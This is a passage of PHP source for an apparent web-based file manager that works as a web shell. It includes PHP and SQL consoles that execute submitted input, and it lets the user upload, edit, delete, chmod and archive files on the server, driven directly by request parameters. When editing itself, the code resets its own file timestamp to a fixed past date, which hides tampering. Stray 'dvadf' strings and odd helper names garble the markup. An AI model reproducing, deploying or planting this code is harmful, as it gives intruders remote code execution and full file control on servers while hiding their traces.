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");
}

.file {
    background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
dvadf<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg_ntimes)?'':'<tr><td class="row2" colspan="2">'.$msg_ntimes.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?>dvadf<?php
	if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
	else echo '</h2></td><td>'.fm_run_input('sql');
	?></td></tr></table></td>
</tr>
<tr>
    <td class="row1">
		<a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
		<form action="" method="POST" name="console">
		<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
		<input type="reset" value="<?=__('Reset')?>">
		<input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
dvadf<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
	$select .= '<option value="-1">' . __('Select') . "</option>\n";
	foreach ($tmpl as $key=>$value){
		$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
	}
	$select .= "</select>\n";
	echo $select;
}
?>
		</form>
	</td>
</tr>
</table>
dvadf<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg_ntimes .= __('File updated');
		else $msg_ntimes .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
dvadf<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg_ntimes .= (__('File updated')); 
		else $msg_ntimes .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        dvadf<?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        dvadf<?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
dvadf<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg_ntimes .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
dvadf<?php

} else {
                       
//quanxian gai bian hou xu yao xi tong chongqi
                    
    $msg_ntimes = '';

    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {

        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);

            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg_ntimes .= __('Error occurred');
                      
            } else {

		     		     $msg_ntimes .= __('Files uploaded').': '.$_FILES['upload']['name'];

		     	}
                       
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_khumfail(($path . $_REQUEST['delete']), true)) {
            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	$msg_ntimes .= __('Deleted').' '.$_REQUEST['delete'];
		     }
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
                      
            $msg_ntimes .= __('Error occurred');
        } else {
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['dirname'];
		     }

    } elseif(!empty($_POST['search_recursive'])) {
		     ini_set('max_execution_time', '0');
		     $search_data =  find_text_in_khumfail($_POST['path'], $_POST['mask'], $_POST['search_recursive']);

		     if(!empty($search_data)) {
                       
		     	$msg_ntimes .= __('Found in khumfail').' ('.count($search_data).'):<br>';

		     	foreach ($search_data as $filename) {
                    
		     		     $msg_ntimes .= '<a href="'.thangweb(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';

		     	}
		     } else {
		     	$msg_ntimes .= __('Nothing founded');

		     }	

	} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {

        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {

            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	fclose($fp);
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['filename'];
		     }

    } elseif (isset($_GET['zip'])) {
		     $source = base64_decode($_GET['zip']);
		     $destination = basename($source).'.zip';
                      
		     set_time_limit(0);

		     $phar = new PharData($destination);

		     $phar->buildFromDirectory($source);
                      
		     if (is_file($destination))
                     
		     $msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     '.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		     .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';

		     else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['gz'])) {

		     $source = base64_decode($_GET['gz']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
		     if (is_file($archive)) unlink($archive);

		     if (is_file($archive.'.gz')) unlink($archive.'.gz');
                       
		     clearstatcache();

		     set_time_limit(0);

		     //die();
		     $phar = new PharData($destination);
		     $phar->buildFromDirectory($source);

		     $phar->compress(Phar::GZ,'.tar.gz');
		     unset($phar);
		     if (is_file($archive)) {

		     	if (is_file($archive.'.gz')) {
		     		     unlink($archive); 
		     		     $destination .= '.gz';

		     	}


                       
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
                       
		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['decompress'])) {

		     // $source = base64_decode($_GET['decompress']);
		     // $destination = basename($source);
                     
		     // $ext = end(explode(".", $destination));

		     // if ($ext=='zip' OR $ext=='gz') {

		     	// $phar = new PharData($source);

		     	// $phar->decompress();
                     
		     	// $base_file = str_replace('.'.$ext,'',$destination);

		     	// $ext = end(explode(".", $base_file));

